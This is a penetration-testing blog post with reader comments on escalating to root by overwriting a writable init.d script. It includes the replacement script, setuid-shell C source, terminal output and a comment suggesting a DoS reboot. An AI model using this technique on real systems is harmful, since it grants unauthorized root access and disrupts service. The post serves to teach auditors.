Address
304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

Exploiting init.d for Fun and Profit

Exploiting init.d scripts based on security misconfigurations is a common, and generally easier to exploit, vector for privilege escalation. I’d like to cover an example of such an exploit this week, as well as an easy way to come across these.

It is not uncommon to come across an init.d script like the following while on an engagement.

[email protected]:/etc/init.d$ ls -al /etc/init.d

<...snip...>

lrwxrwxrwx  1 root root     5 Mar  7 14:49 Nginx_Drupal_agent -> /applications/performance/dynatrace/init.d

<...snip...>

While the init script itself is just a symlink, we can see that the attacker does actually have write permissions to this script.

[email protected]:/applications/performance/dynatrace/init.d$ ls -al Nginx*
ls -al Nginx*
-rwxr-xr-x 1 noprivs noprivs 2037 Mar  7 14:49 Nginx_Drupal_agent

In this case, our unprivileged user has write access to the init.d script, so we are able to create a much more malicious version (backing up the original of course).

[email protected]:/applications/performance/dynatrace/init.d$ mv Nginx_Drupal_agent BAK_Nginx_Drupal_agent
[email protected]:/applications/performance/dynatrace/init.d$ touch Nginx_Drupal_agent
<...snip...>
[email protected]:/applications/performance/dynatrace/init.d$ cat Nginx_Drupal_agent
chown root:root /home/noprivs/setuid
chmod 4755 /home/noprivs/setuid

With the new malicious init.d script created, I just needed to create the setuid target and verify the permissions.

[email protected]:/applications/performance/dynatrace/init.d$ cat /home/noprivs/setuid.c
int main()
{
     setgid(0);
     setuid(0);
     system("/bin/bash");
}
[email protected]:/applications/performance/dynatrace/init.d$ ls -al /home/noprivs/setuid
-rwxrwxr-x 1 noprivs noprivs 6700 May  9 14:43 /tmp/setuid

With everything in place, all that we needed was a reboot to complete the privilege escalation!

<...reboot...>

[email protected]:~$ ls -al ~/setuid
-rwsr-xr-x 1 root root 6700 May  9 16:13 /home/noprivs/setuid
[email protected]:~$ ./setuid
id
uid=0(root) gid=0(root) groups=0(root),29011(noprivs)

To make finding possibly misconfigured init.d scripts, it also helps to use the pentestmonkey unix-privesc-check script.

For more information on /etc/inittab and /etc/init.d scripts, you can visit the tldp page on system booting.

8 Comments

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.

    • Thanks, and it’s always a useful exploit to keep in your back pocket. I can’t count how many times I’ve run across misconfigured inittab or init.d directories that were an easy escalation to root.

  1. But how do you reboot the machine if you’re not root yet? I’m actually trying to exploit a lab VM that runs Apache James and has a misfconfigured service like this.

    Good article by the way.

    • If you aren’t yet root, you really only have two options.

      1. Wait for the machine to reboot “naturally”, which can be a bit harder on high uptime systems.
      2. Force a reboot of your own via some sort of DoS condition (an application, filling the /tmp directory, etc.)

      Thanks though, and hopefully it helped!

  2. Thanks for reply.

    Well, there must be wait to start and stop the service? I am logged as James, after exploiting an Apache vulnerability, but James also owns a job that runs under root.